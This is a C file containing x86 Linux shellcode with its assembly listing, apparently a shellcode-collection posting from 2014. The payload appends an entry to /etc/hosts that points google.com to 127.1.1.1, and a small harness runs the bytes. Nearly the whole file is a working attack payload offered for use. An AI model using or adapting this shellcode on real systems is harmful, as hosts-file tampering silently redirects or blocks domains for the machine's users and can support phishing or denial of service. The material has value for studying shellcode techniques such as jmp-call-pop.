/**
;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1
;author Javier Tejedor
;date 24/09/2014
global _start
section .text
_start:
xor ecx, ecx
mul ecx
mov al, 0x5
push ecx
push 0x7374736f ;/etc///hosts
push 0x682f2f2f
push 0x6374652f
mov ebx, esp
mov cx, 0x401 ;permmisions
int 0x80 ;syscall to open file
xchg eax, ebx
push 0x4
pop eax
jmp short _load_data ;jmp-call-pop technique to load the map
_write:
pop ecx
push 20 ;length of the string, dont forget to modify if changes the map
pop edx
int 0x80 ;syscall to write in the file
push 0x6
pop eax
int 0x80 ;syscall to close the file
push 0x1
pop eax
int 0x80 ;syscall to exit
_load_data:
call _write
google db "127.1.1.1 google.com"
**/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x6f\x73\x74\x73\x68\x2f\x2f\x2f\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x93\x6a\x04\x58\xeb\x10\x59\x6a\x14\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xeb\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
